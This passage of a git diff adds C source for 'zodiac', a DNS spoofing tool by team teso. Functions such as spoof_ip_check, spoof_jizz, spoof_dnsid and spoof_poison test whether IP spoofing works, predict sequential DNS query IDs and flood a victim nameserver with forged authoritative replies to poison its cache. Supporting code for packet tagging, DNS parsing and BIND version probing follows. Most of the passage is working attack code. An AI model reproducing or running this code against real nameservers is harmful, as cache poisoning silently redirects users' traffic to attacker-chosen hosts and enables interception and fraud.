spoofing is possible using the current network. + * to do this it queries the `ns' nameserver for a host within `ourdomain'. + * if we see this ip-spoofed packet the spoof succeeded. + * + * return 1 if we are capable of spoofing + * return 0 if we are not *doh* ! + * return -1 if not even unspoofed packets get through + */ + +int +spoof_ip_check (char *ns, char *ourdomain) +{ + char *rnd_aa_host; + dns_pdata *qpacket; + struct in_addr s_addr, + d_addr; + int desc, + n = 0, + test_unspoofed = 0, + test_spoofed = 0; + char *ip_random, + *ip_local; + struct timeval tval; + + tval.tv_sec = 25; + tval.tv_usec = 0; + + qpacket = dns_build_new (); + rnd_aa_host = dns_build_random (ourdomain, 0); + m_printf (ms, ms->winproc, "[zod] (unspoofed) A? \"%s\" @ %s\n", rnd_aa_host, ns); + dns_build_q (qpacket, rnd_aa_host, T_A, C_IN); + + s_addr.s_addr = d_addr.s_addr = net_resolve ("*"); + + /* some nameservers will query from different ports then 53, so we + * leave the source port of the filter to zero, but we are not going + * to catch our own packets because of own-packets-marking :) + */ + desc = dq_filter_install (s_addr, d_addr, 0, 53, 0, 0, 0, rnd_aa_host); + free (rnd_aa_host); + + /* first send an unspoofed packet + */ + ip_local = net_getlocalip (); + dns_packet_send (ip_local, ns, m_random (1024, 50000), + 53, m_random (1, 65535), DF_RD, 1, 0, 0, 0, qpacket, 0); + free (ip_local); + test_unspoofed = dq_filter_wait (desc, &tval); + + /* not even unspoofed dns packets work ! + */ + if (test_unspoofed == 0) { + n = -1; + goto sic_err; + } + + dq_filter_uninstall (desc); + dns_build_destroy (qpacket); + qpacket = dns_build_new (); + rnd_aa_host = dns_build_random (ourdomain, 0); + m_printf (ms, ms->winproc, "[zod] (spoofed) A? \"%s\" @ %s\n", rnd_aa_host, ns); + dns_build_q (qpacket, rnd_aa_host, T_A, C_IN); + desc = dq_filter_install (s_addr, d_addr, 0, 53, 0, 0, 0, rnd_aa_host); + free (rnd_aa_host); + + /* now try with a spoofed one + */ + ip_random = ip_get_random (); + dns_packet_send (ip_random, ns, m_random (1024, 50000), + 53, m_random (1, 65535), DF_RD, 1, 0, 0, 0, qpacket, 0); + free (ip_random); + + test_spoofed = dq_filter_wait (desc, &tval); + if (test_spoofed != 0) + n = 1; /* fear the spewfer */ + +sic_err: + dns_build_destroy (qpacket); + dq_filter_uninstall (desc); + + return (n); +} + + +/* spoof_query + * + * ask a nameserver `nameserver' for a random host inside our domain + * `ourdomain'. wait for a question to our local ip from this nameserver + * for a maximum duration of `timeout' seconds. + * Returns the address of the querying nameserver to the address pointed + * to by proxy. -smiler 990925. + * + * return 1 if the nameserver responded + * return 0 if it didn't + */ + +int +spoof_query (char *nameserver, char *ourdomain, int timeout, struct in_addr *proxy) +{ + int desc; + int n = 0; + dns_pdata *qpacket; /* query packet data */ + char *rnd_aa_host; /* random authoritative domain */ + char *local_ip; + struct in_addr s_addr, + d_addr; + struct timeval tv; + struct timeval *tval = &tv; + + local_ip = net_getlocalip (); + + qpacket = dns_build_new (); + rnd_aa_host = dns_build_random (ourdomain, 0); + m_printf (ms, ms->winproc, "[zod] A? \"%s\" @ %s\n", rnd_aa_host, nameserver); + dns_build_q (qpacket, rnd_aa_host, T_A, C_IN); + + s_addr.s_addr = net_resolve (/*nameserver*/ "*"); + d_addr.s_addr = net_resolve (local_ip); + + desc = dq_filter_install (s_addr, d_addr, 0, 53, 0, 0, 0, rnd_aa_host); + free (rnd_aa_host); + + dns_packet_send (local_ip, nameserver, m_random (1024, 50000), + 53, m_random (1, 65535), DF_RD, 1, 0, 0, 0, qpacket, 0); + dns_build_destroy (qpacket); + free (local_ip); + + if (timeout == 0) { + tval = NULL; + } else { + tv.tv_usec = 0; + tv.tv_sec = timeout; + } + + n = dq_filter_wait (desc, tval); + if (n != 0) { + dq_packet *catch; + catch = dq_p_get(desc); + if (!catch) { + m_printf(ms, ms->winproc, "[zod] filter error!\n"); + return 0; + } + proxy->s_addr = ((ip_hdr *)catch->packet)->ip_src.s_addr; + } + dq_filter_uninstall (desc); + + return (n); +} + + +/* spoof_jizz + * + * launch a jizz spoof according to the information in the configset `cs'. + * the caller function should create a new thread and fire this function in + * background + * + * expect: + * + * cs-> + * nameserver nameserver to jield cache up + * local_domain domain name, the local dns is authoritative for + * local_dns_ip ip of the nameserver the query will be directed to + * spoof_from domain name to do a A/PTR spoof on + * spoof_to ip to do a PTR/A spoof on + * + * return in any case :) + */ + + +void +spoof_jizz (spoof_style_jizz *cs) +{ + u_short src_prt = m_random (1024, 65535); + u_short dns_id = m_random (1, 65535); + int desc; + struct in_addr s_addr, + d_addr; + dns_pdata *qpacket; /* query packet data */ + dns_pdata *apacket; /* answer packet data */ + char *rnd_aa_host; /* random authoritative domain */ + char local_ip[20]; + + net_printip (&localip, local_ip, sizeof(local_ip) - 1); + + /* first construct a query packet + */ + qpacket = dns_build_new (); + rnd_aa_host = strdup (cs->local_domain); +/* rnd_aa_host = dns_build_random (cs->local_domain); */ + dns_build_q (qpacket, rnd_aa_host, T_SOA, C_IN); + + /* also construct an answer packet (to save time) + */ + apacket = dns_build_new (); + dns_build_q (apacket, rnd_aa_host, T_SOA, C_IN); + dns_build_rr (apacket, rnd_aa_host, T_A, C_IN, 120, local_ip); + dns_build_rr (apacket, cs->spoof_from, T_A, C_IN, 120, cs->spoof_to); + dns_build_rr (apacket, dns_domain (cs->local_domain), T_A, C_IN, 120, + local_ip); + dns_build_rr (apacket, dns_domain (cs->local_domain), T_NS, C_IN, 120, + dns_domain (cs->local_domain)); + dns_build_rr (apacket, cs->spoof_to, T_PTR, C_IN, 120, + cs->spoof_from); + + /* install a packet filter + */ + s_addr.s_addr = net_resolve ("*"); + d_addr.s_addr = net_resolve (local_ip); + + desc = dq_filter_install (s_addr, d_addr, 0, 53, 0, 0, 0, rnd_aa_host); + + free (rnd_aa_host); + free (local_ip); + + if (desc == -1) + return; + + /* launch query packet, then destroy it :) + * spoof here if you want to, i don't want =) + */ + dns_packet_send (local_ip, cs->nameserver, src_prt, 53, dns_id, 0, 1, 0, 0, 0, qpacket, 0); + dns_build_destroy (qpacket); + + /* wait for the packet + */ + if (dq_filter_wait (desc, NULL) == 1) { + char *ip_src, *ip_dst; + ip_hdr *ip; /* pointer to ip header */ + udp_hdr *udp; /* pointer to udp header */ + dns_hdr *dns; /* pointer to dns header */ + unsigned char *dns_data; /* pointer to dns data part within packet */ + + dq_packet *catch = /* catched packet */ + dq_p_get (desc); + + if (catch == NULL) { + m_printf (ms, ms->winproc, "[zod] !ERROR! FILTER TRIGGERED, BUT NO PACKET\n"); + goto sp_local_fail; + } + + pq_offset (catch->packet, &ip, &udp, &dns, &dns_data); + + net_printipa (&ip->ip_dst, &ip_src); + net_printipa (&ip->ip_src, &ip_dst); + + /* launch answer packet + */ + dns_packet_send (ip_src, ip_dst, htons (udp->uh_dport), htons (udp->uh_sport), + htons (dns->id), DF_RESPONSE | DF_AA | DF_RD | DF_RA, + 1, 3, 1, 1, apacket, 1); + + free (ip_src); + free (ip_dst); + dq_p_free (catch); + } + + /* uninstall packet filter + * hope, we spoofed, yeah :-) + */ +sp_local_fail: + dns_build_destroy (apacket); +} + + +void +spoof_dnsid (spoof_style_id *cs) +{ + struct in_addr *auth_ns[SPOOF_ID_MAX], + proxy; + char proxy_str[20]; + spoof_id_list *link; + int i = 0, + tries = 0, + cnt = 0; + int dns_id; + struct timeval tv; + unsigned long int flags; + + if (cs->id_cnt > SPOOF_ID_MAX) /* shouldn't happen */ + return; + + for (link = cs->root; link; link = link->next, i++) { + int err; + + auth_ns[i] = dt_ns_get_auth (cs->nameserver, + link->spoof_from_domain, &err); + if (auth_ns[i] == NULL) { + m_printf (ms, ms->winproc, "[zod] couldn't get list of authority for %s: %s\n", + cs->nameserver, dterrlist[err]); + return; + } + } + + m_printf (ms, ms->winproc, "[zod] trying to get my hands on the dns id\n"); + + while ((cnt < 3) && (tries < 5)) { + if (spoof_query (cs->nameserver, cs->local_domain, 10, &proxy)) + cnt++; + tries++; + } + + net_printip (&proxy, proxy_str, sizeof (proxy_str) - 1); + dns_id = id_get (proxy_str, &tv, &flags); + if (dns_id == 0) { + m_printf (ms, ms->winproc, "[zod] welp, i didn't manage to get the magic id :(\n"); + return; + } else if ((flags & IDF_SEQ) != IDF_SEQ) { + m_printf (ms, ms->winproc, "[zod] nameserver responded, but has nonsequential id's :((\n"); + return; + } + + m_printf (ms, ms->winproc, "[zod] received responses from: %s\n", proxy_str); + m_printf (ms, ms->winproc, "[zod] sequential id: %hu [age: %d]\n", dns_id, tv.tv_sec); + + /* poison the cache */ + m_printf (ms, ms->winproc, "[zod] poisoning... phear\n"); + + i = 0; + + /* we start with the dns_id here, but in case it is a windows + * nameserver we don't go through the mess, we just send + * dns id's of 0 to 20 out, which will most likely be ok. -sc + */ + if ((flags & IDF_WINDUMB) == IDF_WINDUMB) { + dns_id = 0; + m_printf (ms, ms->winproc, "[zod] remote is windows, trying id 0 to 20\n"); + } + + for (link = cs->root ; link != NULL ; link = link->next, i++) { + spoof_poison (cs->nameserver, proxy, auth_ns[i], dns_id + i, + link->spoof_from, link->spoof_to, link->spoof_type); + } + + + return; +} + + +/* spoof_poison + * + * try to poison the cache of 'victim' + * send a spoofed request to victim, and /quickly/ send responses + * from *all* ipz in the array '*auth_ns' with ids close to 'victim_id' + * to 'proxy' + * + * Note: if itz already cached, then it wont work! + * + * -smiler + */ + +void +spoof_poison (char *victim, struct in_addr proxy, struct in_addr *auth_ns, + int dns_id, char *spoof_from, char *spoof_to, int type) +{ + dns_pdata *spoof_query, + *fake_reply; + char proxy_str[20], + localip_str[20], + ns_str[20]; + int i, + j, k; + + if (type != T_A && type != T_PTR && type != T_NS) + return; + + net_printip (&proxy, proxy_str, sizeof (proxy_str) - 1); + net_printip (&localip, localip_str, sizeof (localip_str) - 1); + spoof_query = dns_build_new (); + fake_reply = dns_build_new (); + + dns_build_q (spoof_query, spoof_from, type, C_IN); + + dns_build_q (fake_reply, spoof_from, type, C_IN); + dns_build_rr (fake_reply, spoof_from, type, C_IN, 100000, spoof_to); + + for (k = 0; k < 2; k++) + dns_packet_send (localip_str, victim, m_random (1024, 50000), + 53, m_random (1, 65535), DF_RD, 1, 0, 0, 0, spoof_query, 0); + + for (k = 0; k < 2; k++) + for (i = dns_id + 1; i < (dns_id + 20); ++i) { + for (j = 0; auth_ns[j].s_addr != INADDR_ANY; ++j) { + net_printip (&auth_ns[j], ns_str, sizeof (ns_str) - 1); + dns_packet_send (ns_str, proxy_str, 53, 53, i, + DF_RESPONSE | DF_AA, 1, 1, 0, 0, fake_reply, 0); + } + } + + dns_build_destroy (fake_reply); + dns_build_destroy (spoof_query); + + return; +} + + diff --git a/dns-projects/zodiac/src/dns-spoof.h b/dns-projects/zodiac/src/dns-spoof.h new file mode 100644 index 0000000..e69477a --- /dev/null +++ b/dns-projects/zodiac/src/dns-spoof.h @@ -0,0 +1,23 @@ +/* zodiac - advanced dns spoofer + * + * spoofing routines include file + * + * by scut / teso + */ + +#ifndef Z_DNS_SPOOF_H +#define Z_DNS_SPOOF + +#include +#include "dns-spoof-int.h" + +int spoof_ip_check (char *ns, char *ourdomain); +int spoof_query (char *nameserver, char *ourdomain, int timeout, struct in_addr *proxy); +void spoof_local (spoof_style_local *cs); +void spoof_jizz (spoof_style_jizz *cs); +void spoof_dnsid (spoof_style_id *cs); +void spoof_poison (char *ns, struct in_addr proxy, struct in_addr *auth_ns, + int dns_id, char *spoof_from, char *spoof_to, int type); + +#endif + diff --git a/dns-projects/zodiac/src/dns-tag.c b/dns-projects/zodiac/src/dns-tag.c new file mode 100644 index 0000000..85d389f --- /dev/null +++ b/dns-projects/zodiac/src/dns-tag.c @@ -0,0 +1,139 @@ +/* zodiac - advanced dns spoofer + * + * by team teso + * + * dns tag routines + */ + +#define _Z_DNS_TAG_C_MAIN + +#include +#include +#include +#include +#include +#include "common.h" +#include "dns-tag.h" +#include "network.h" + + +/* dns tag linked list root pointer + */ + +dns_tag *dns_tag_root = NULL; +pthread_mutex_t dns_tag_mutex = PTHREAD_MUTEX_INITIALIZER; +unsigned long int dns_tag_time_expire = 5; /* keep 5 seconds */ +int dns_print_own_packets = 1; + + +void +dns_tag_add (char *ip_src, char *ip_dst, unsigned short int prt_src, + unsigned short int prt_dst, unsigned short int dns_id) +{ + dns_tag *this; + dns_tag *new = xcalloc (1, sizeof (dns_tag)); + + new->ip_src.s_addr = net_resolve (ip_src); + new->ip_dst.s_addr = net_resolve (ip_dst); + new->prt_src = prt_src; + new->prt_dst = prt_dst; + new->dns_id = dns_id; + new->next = NULL; /* last element */ + gettimeofday (&new->time_send, NULL); + + pthread_mutex_lock (&dns_tag_mutex); + if (dns_tag_root == NULL) { + dns_tag_root = new; + } else { + for (this = dns_tag_root ; this->next != NULL ; + this = this->next) + ; + this->next = new; + } + pthread_mutex_unlock (&dns_tag_mutex); + + return; +} + + +int +dns_tag_check_a (char *ip_src, char *ip_dst, unsigned short int prt_src, + unsigned short int prt_dst, unsigned short int dns_id) +{ + struct in_addr ip_src_n, + ip_dst_n; + + ip_src_n.s_addr = net_resolve (ip_src); + ip_dst_n.s_addr = net_resolve (ip_dst); + + return (dns_tag_check_n (&ip_src_n, &ip_dst_n, prt_src, prt_dst, dns_id)); +} + + +/* quite optimized + */ + +int +dns_tag_check_n (struct in_addr *ip_src, struct in_addr *ip_dst, + unsigned short int prt_src, unsigned short int prt_dst, + unsigned short int dns_id) +{ + int found = 0; /* found flag, flagged inside loop */ + dns_tag *this, **last; /* linked list step pointer */ + struct in_addr any; + struct timeval tv_current; /* check expired frames oh yeah */ + + any.s_addr = net_resolve ("*"); + gettimeofday (&tv_current, NULL); + + pthread_mutex_lock (&dns_tag_mutex); + + last = &dns_tag_root; + + for (this = dns_tag_root ; found == 0 && this != NULL ; ) + { + found = 1; /* assume "yes", then squash it */ + + /* check whether the frame has expired + */ + if (tdiff (&this->time_send, &tv_current) >= dns_tag_time_expire) { + dns_tag *old = this; + + *last = this->next; + this = this->next; + free (old); /* fear the heap :> */ + found = 0; + + continue; + } else { + last = &this->next; + } + + if (found == 1 && ip_src->s_addr != any.s_addr && + ip_src->s_addr != this->ip_src.s_addr) + { + found = 0; + } + + if (found == 1 && ip_dst->s_addr != any.s_addr && + ip_dst->s_addr != this->ip_dst.s_addr) + { + found = 0; + } + + if (found == 1 && prt_src != 0 && prt_src != this->prt_src) + found = 0; + if (found == 1 && prt_dst != 0 && prt_dst != this->prt_dst) + found = 0; + if (found == 1 && dns_id != 0 && dns_id != this->dns_id) + found = 0; + + this = this->next; + } + + pthread_mutex_unlock (&dns_tag_mutex); + + return (found); +} + + diff --git a/dns-projects/zodiac/src/dns-tag.h b/dns-projects/zodiac/src/dns-tag.h new file mode 100644 index 0000000..a213df5 --- /dev/null +++ b/dns-projects/zodiac/src/dns-tag.h @@ -0,0 +1,78 @@ +/* zodiac - advanced dns spoofer + * + * by team teso + * + * dns tag routines include file + */ + +#ifndef _Z_DNS_TAG_H +#define _Z_DNS_TAG_H + + +#include + + +#ifndef _Z_DNS_TAG_C_MAIN +extern int dns_print_own_packets; +#endif + +/* dns tag linked list element + */ + +typedef struct dns_tag { + struct dns_tag *next; /* linked list pointer */ + + struct in_addr ip_src; /* source ip */ + struct in_addr ip_dst; /* destination ip */ + unsigned short int prt_src; /* udp source port */ + unsigned short int prt_dst; /* udp destination port */ + unsigned short int dns_id; /* dns id of the frame */ + struct timeval time_send; /* time the frame was send */ +} dns_tag; + + +/* dns_tag_add + * + * create a new linked list element with the given properties + * + * return in any case + */ + +void +dns_tag_add (char *ip_src, char *ip_dst, unsigned short int prt_src, + unsigned short int prt_dst, unsigned short int dns_id); + + +/* dns_tag_check_a + * + * check whether the packet frame is in the queue. `ip_*' can be `*' if no + * address checking should be performed. `prt_*' and `dns_id' can be zero if + * no comparison on them should be performed. + * + * return 1 if it is + * return 0 if it is not + */ + +int +dns_tag_check_a (char *ip_src, char *ip_dst, unsigned short int prt_src, + unsigned short int prt_dst, unsigned short int dns_id); + + +/* dns_tag_check_n + * + * check whether the packet frame is in the queue. `ip_*' can be INADDR_ANY + * if no address checking should be performed. `prt_*' and `dns_id' can be + * zero if no comparison on them should be performed. + * + * return 1 if the packet frame was found + * return 0 if the packet frame was not found + */ + +int +dns_tag_check_n (struct in_addr *ip_src, struct in_addr *ip_dst, + unsigned short int prt_src, unsigned short int prt_dst, + unsigned short int dns_id); + + +#endif + diff --git a/dns-projects/zodiac/src/dns-tools.c b/dns-projects/zodiac/src/dns-tools.c new file mode 100644 index 0000000..e1e3fb2 --- /dev/null +++ b/dns-projects/zodiac/src/dns-tools.c @@ -0,0 +1,501 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso + * + * dns tool routines + */ + +#include +#include +#include +#include +#include "common.h" +#include "dns.h" +#include "dns-tools.h" +#include "dnsq.h" +#include "dns-build.h" +#include "dns-spoof.h" +#include "dnsq.h" +#include "network.h" +#include "output.h" +#include "packet.h" +#include "zodiac.h" + + +#define DT_SECT_AN 0x1 +#define DT_SECT_NS 0x2 +#define DT_SECT_AR 0x3 + + +/* keep local functions private + */ +static void dt_process_pkt (dt_answer *ans, dq_packet *pkt, u_short type); +static dt_section *dt_choose_sect(dt_answer *ans, int sect); +static void dt_answer_add_A (dt_answer *ans, char *name, struct in_addr ip, + u_short type, int sect); +static void dt_answer_add_normal (dt_answer *ans, char *name, char *label, + u_short type, int sect); + + +static rrec *dt_search_sect (dt_section *sect, u_short type, char *name); + +/* Access with DT_ANSWER_* defines. + */ +char *dterrlist[] = { "Success", + "Response Timed Out", + "Nameserver returned error", + "Error resolving nameserver", + "Unknown type", + "Filter error"}; + + +/* dt_ns_get_auth + * + * retrieve a list of authority for a domain, from a particular nameserver + * + * return an allocated, null-terminated array of 'struct in_addr' on + * success + * return NULL on reror + * put error in 'int *err' if err != NULL + */ + +struct in_addr * +dt_ns_get_auth (char *ns_query, char *domain, int *err) +{ + struct in_addr *ns = NULL; + int ns_cnt = 0, + i; + dt_answer *ans; + dt_section *sect; + + if (err) *err = DT_ANSWER_OK; + + ans = dt_query_bind (ns_query, T_NS, C_IN, domain); + if (ans->answer != DT_ANSWER_OK) { + if (err != NULL) *err = ans->answer; + dt_answer_free (ans); + + return NULL; + } + + sect = &ans->an_section; + + for (i = 0; i < sect->rrec_cnt; i++) { + rrec *rrec_ptr, + *ptr; + struct in_addr tmp; + + rrec_ptr = §->rrecords[i]; + if (rrec_ptr->type != T_NS) + continue; + + /* try and find the relevant A record in the ar section */ + ptr = dt_search_sect (&ans->ar_section, + T_A, rrec_ptr->data.label); + + if (ptr == NULL) { + /* this iz kinda ugly */ + tmp.s_addr = net_resolve (rrec_ptr->data.label); + + if (tmp.s_addr == htonl(INADDR_ANY)) /* hmm */ + continue; + } else { + tmp.s_addr = ptr->data.ip.s_addr; + } + + ++ns_cnt; + ns = (struct in_addr *) + xrealloc (ns, sizeof(struct in_addr) * ns_cnt); + ns[ns_cnt - 1].s_addr = tmp.s_addr; + } + dt_answer_free (ans); + + if (ns_cnt == 0) + return (NULL); + + /* null terminate it */ + ns = (struct in_addr *) + xrealloc (ns, sizeof(struct in_addr) * ++ns_cnt); + ns[ns_cnt - 1].s_addr = 0; + + return (ns); +} + +/* + * Search for a resource record in a particular section. + * + * return a pointer to the relevant resource record on success. + * return NULL on error. + * -smiler + */ + +static rrec +*dt_search_sect (dt_section *sect, u_short type, char *name) +{ + rrec *record = NULL; + int i; + + for (i = 0; i < sect->rrec_cnt; i++) { + if (sect->rrecords[i].type != type) + continue; + + if (strcasecmp(name, sect->rrecords[i].name)) + continue; + + record = §->rrecords[i]; + break; /* so the function returns */ + } + return (record); +} + +/* dt_bind_version + * + * try to retrieve a version number from a dns server with the host name + * `host' which is running the bind named. + * + * this would be easily done using a fixed buffer and an udp socket, but + * we want to do it with style, oh yeah =) (in other words i didn't write + * this routines to lever me down to udp sockets again ;) + * + * return an allocated string with the server response + * return an allocated string "unknown" if the version couldn't be retrieved + * return NULL on failure (no response) + * + * changed to use dt_query_bind().... -smiler + */ + +char * +dt_bind_version (char *host) +{ + dt_answer *ans; + char tmp[256]; + + ans = dt_query_bind (host, T_TXT, C_CHAOS, "VERSION.BIND."); + if (ans->answer != DT_ANSWER_OK) { + dt_answer_free (ans); + + return (NULL); + } + + /* copy the label into a temporary buffer, free the answer struct, + * /then/ allocate space for the string. hopefully this will avoid + * fragmentation in the heap space... + */ + + tmp[255] = 0; + strncpy (tmp, ans->an_section.rrecords[0].data.label, sizeof (tmp) - 1); + dt_answer_free (ans); + + return (xstrdup (tmp)); +} + + +/* dt_query_bind + * + * generic query function. query a remote nameserver `serv' for a query + * `query' of the type `type' and class `class'. + * + * return a pointer to a generic answer structure + * on failure ans->answer will be set appropiatly + * + * -smiler + */ + +dt_answer * +dt_query_bind (char *serv, u_short type, u_short class, char *query) +{ + extern struct in_addr localip; + char tmp[20], + localip_str[20]; + dns_pdata *packet; + dq_packet *catch; + int desc, + cnt; + u_short sport, + dns_id; + struct in_addr servaddr; + struct timeval tv; + dt_answer *ans = xcalloc (1, sizeof (dt_answer)); + + switch (type) { + case T_A: + case T_PTR: + case T_NS: + case T_TXT: + break; + default: + ans->answer = DT_ANSWER_UNKNOWNTYPE; + return (ans); + } + + servaddr.s_addr = net_resolve (serv); + if (servaddr.s_addr == htonl (INADDR_ANY)) { + ans->answer = DT_ANSWER_RESOLVE; + + return (ans); + } + + sport = (libnet_get_prand (PRu16) % (65534 - 1024)) + 1025; + dns_id = libnet_get_prand (PRu16); + + desc = dq_filter_install ( + servaddr, + localip, + 53, + sport, + 1, dns_id, dns_id, + NULL); + + if (desc == -1) { + ans->answer = DT_ANSWER_FILTERERR; + + return (ans); + } + + packet = dns_build_new (); + dns_build_q (packet, query, type, class); + + net_printip (&servaddr, tmp, sizeof(tmp) - 1); + net_printip (&localip, localip_str, sizeof(localip_str) - 1); + dns_packet_send (localip_str, tmp, sport, 53, + dns_id, DF_RD, 1, 0, 0, 0, packet, 0); + dns_build_destroy (packet); + + tv.tv_sec = 10; + tv.tv_usec = 0; + + cnt = dq_filter_wait (desc, &tv); + if (cnt == 0) { + dq_filter_uninstall (desc); + ans->answer = DT_ANSWER_TIMEOUT; + + return (ans); + } + + catch = dq_p_get (desc); + dq_filter_uninstall (desc); + if (catch == NULL) { + ans->answer = DT_ANSWER_FILTERERR; + + return (ans); + } + + /* jump into helper function now :/ */ + dt_process_pkt (ans, catch, type); + dq_p_free (catch); + + return (ans); +} + + +/* dt_process_pkt + * + * helper function, parse the packet (a well known childrens party game). + * + * return in any case + * + * -smiler + */ + +static void +dt_process_pkt (dt_answer *ans, dq_packet *pkt, u_short type) +{ + u_short qdcount, + ancount, + nscount, + arcount; + int i, + sect; + unsigned char *ptr, + *dns_start; + + ptr = pkt->packet; + ptr += (((ip_hdr *) ptr)->ip_hl) << 2; + ptr += UDP_H; + dns_start = ptr; + + qdcount = ntohs (((HEADER *)ptr)->qdcount); + ancount = ntohs (((HEADER *)ptr)->ancount); + nscount = ntohs (((HEADER *)ptr)->nscount); + arcount = ntohs (((HEADER *)ptr)->arcount); + + if (ancount == 0) { + ans->answer = DT_ANSWER_ERR; + return; + } + + /* this should initialize the sections */ + memset (&ans->an_section, '\0', sizeof (dt_section)); + memset (&ans->ns_section, '\0', sizeof (dt_section)); + memset (&ans->ar_section, '\0', sizeof (dt_section)); + + ptr += sizeof (HEADER); + + /* skip question section */ + while (qdcount-- > 0) { + ptr += dns_labellen (ptr); + ptr += 4; + } + + sect = DT_SECT_AN; + + for (i = 0; i < (ancount + nscount + arcount); i++) { + struct in_addr tmp; + u_short rdlength; + char label[256], + label2[256]; + + *label = *label2 = '\0'; + + if (i == ancount) { + sect++; + } else if (i == (ancount + nscount)) { + sect++; + } + + dns_dcd_label (dns_start, &ptr, label, sizeof (label) - 1, 5); + GETSHORT (type, ptr); + ptr += 6; + GETSHORT (rdlength, ptr); + + switch (type) { + case T_A: + tmp.s_addr = *(u_int32_t *) ptr; + dt_answer_add_A (ans, label, tmp, type, sect); + ptr += 4; + + break; + case T_NS: + case T_PTR: + case T_TXT: /* RFC1035 SUCKS ASS! */ + dns_dcd_label (dns_start, &ptr, label2, sizeof (label2) - 1, 5); + dt_answer_add_normal (ans, label, label2, type, sect); + + break; + default: + break; + } + } + + return; +} + + +static dt_section * +dt_choose_sect (dt_answer *ans, int sect) +{ + dt_section *dt_sect = NULL; + + switch (sect) { + case DT_SECT_AN: + dt_sect = &ans->an_section; + break; + case DT_SECT_NS: + dt_sect = &ans->ns_section; + break; + case DT_SECT_AR: + dt_sect = &ans->ar_section; + break; + } + + return (dt_sect); +} + + +static void +dt_answer_add_A (dt_answer *ans, char *name, struct in_addr ip, u_short type, int sect) +{ + int cnt; + rrec *ptr; + dt_section *dt_sect; + + dt_sect = dt_choose_sect (ans, sect); + + cnt = ++(dt_sect->rrec_cnt); + ptr = dt_sect->rrecords; + + ptr = (rrec *) xrealloc (ptr, sizeof (rrec) * cnt); + + ptr[cnt - 1].type = type; + ptr[cnt - 1].name = xstrdup (name); + ptr[cnt - 1].data.ip.s_addr = ip.s_addr; + dt_sect->rrecords = ptr; + + return; +} + + +static void +dt_section_free (dt_section *dt_sect) +{ + int i; + + for (i = 0; i < dt_sect->rrec_cnt; ++i) { + rrec *ptr = &dt_sect->rrecords[i]; + + free(ptr->name); + switch (ptr->type) { + case T_A: + break; + case T_PTR: + case T_NS: + case T_TXT: + free (ptr->data.label); + break; + default: + break; + } + } + + free (dt_sect->rrecords); + + return; +} + + +/* dt_answer_free + * + * free a generic answer structure. + * + * return 0 on error + * return 1 on success + */ + +int +dt_answer_free (dt_answer *ans) +{ + if (ans == NULL) + return (0); + + dt_section_free (&ans->an_section); + dt_section_free (&ans->ns_section); + dt_section_free (&ans->ar_section); + free(ans); + + return (1); +} + + +static void +dt_answer_add_normal (dt_answer *ans, char *name, char *label, u_short type, int sect) +{ + int cnt; + rrec *ptr; + dt_section *dt_sect; + + dt_sect = dt_choose_sect (ans, sect); + + cnt = ++(dt_sect->rrec_cnt); + ptr = dt_sect->rrecords; + + ptr = (rrec *) xrealloc (ptr, sizeof (rrec) * cnt); + + ptr[cnt - 1].type = type; + ptr[cnt - 1].name = xstrdup (name); + ptr[cnt - 1].data.label = xstrdup (label); + dt_sect->rrecords = ptr; + + return; +} + + diff --git a/dns-projects/zodiac/src/dns-tools.h b/dns-projects/zodiac/src/dns-tools.h new file mode 100644 index 0000000..079ba9e --- /dev/null +++ b/dns-projects/zodiac/src/dns-tools.h @@ -0,0 +1,85 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso, smiler + * + * dns tool routines include file + */ + + +#ifndef Z_DNSTOOLS_H +#define Z_DNSTOOLS_H + +#define DT_ANSWER_OK 0x0 +#define DT_ANSWER_TIMEOUT 0x1 /* no answer ! */ +/* indicates a DNS error - should I be more specific? */ +#define DT_ANSWER_ERR 0x2 +#define DT_ANSWER_RESOLVE 0x3 +#define DT_ANSWER_UNKNOWNTYPE 0x4 +#define DT_ANSWER_FILTERERR 0x5 + + +typedef struct { + char *name; + u_short type; + union { + struct in_addr ip; /* A */ + char *label; /* PTR NS TXT */ + } data; +} rrec; + + +typedef struct { + int rrec_cnt; + rrec *rrecords; /* array of resource records */ +} dt_section; + + +typedef struct { + unsigned int answer; /* should be of form DT_ANSWER_* */ + + dt_section an_section, + ns_section, + ar_section; +} dt_answer; + + +/* dt_bind_version + * + * try to retrieve a version number from a dns server with the host name + * `host' which is running the bind named. + * + * this would be easily done using a fixed buffer and an udp socket, but + * we want to do it with style, oh yeah =) (in other words i didn't write + * this routines to lever me down to udp sockets again ;) + * + * return an allocated string with the server response + * return an allocated string "unknown" if the version couldn't be retrieved + * return NULL on failure (no response) + */ + +char *dt_bind_version (char *host); + +/* dt_query_bind + * + * generic query function. query a remote nameserver `serv' for a query + * `query' of the type `type' and class `class'. + * + * return a pointer to a generic answer structure + * on failure ans->answer will be set appropiatly + * + * -smiler + * we just don't *do* windoze NSs ;-) + */ + +dt_answer *dt_query_bind (char *serv, u_short type, u_short class, char *query); +int dt_answer_free (dt_answer *ans); + +/* Array of strings for DT_ANSWER_* macros. + */ +extern char *dterrlist[]; + +struct in_addr *dt_ns_get_auth (char *ns_query, char *domain, int *err); + + +#endif + diff --git a/dns-projects/zodiac/src/dns.c b/dns-projects/zodiac/src/dns.c new file mode 100644 index 0000000..7a70890 --- /dev/null +++ b/dns-projects/zodiac/src/dns.c @@ -0,0 +1,548 @@ +/* zodiac - advanced dns spoofer + * + * by scut / teso + * + * dns handling routines + * + * including scut's leet dns packet decoder *welp* :-D + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "common.h" +#include "packet.h" +#include "dns.h" +#include "dnsid.h" +#include "dns-tag.h" +#include "dnsq.h" +#include "zodiac.h" +#include "output.h" + + +extern int quiteness; + +pthread_mutex_t id_rmutex = PTHREAD_MUTEX_INITIALIZER; + +static char *types[] = { NULL, "A", "NS", "MD", "MF", "CNAME", "SOA", "MB", "MG", + "MR", "NULL", "WKS", "PTR", "HINFO", "MINFO", "MX", "TXT" }; +static char *rcodes[] = { "OK", "EFORM", "EFAIL", "ENAME", "ENIMP", "ERFSD", NULL, NULL, + NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; + + +/* dns_handle + * + * handle a dns packet with header pointed to by `dns_hdr' and data pointed + * to by `dns_data'. + * + * do all necessary queue / decoding stuff + */ + +void +dns_handle (ip_hdr *ip, udp_hdr *udp, dns_hdr *dns, unsigned char *dns_data, unsigned int plen) +{ + int n; /* temporary return value */ + unsigned char *d_quer[SEG_COUNT_MAX]; /* query array */ + unsigned char *d_answ[SEG_COUNT_MAX]; /* 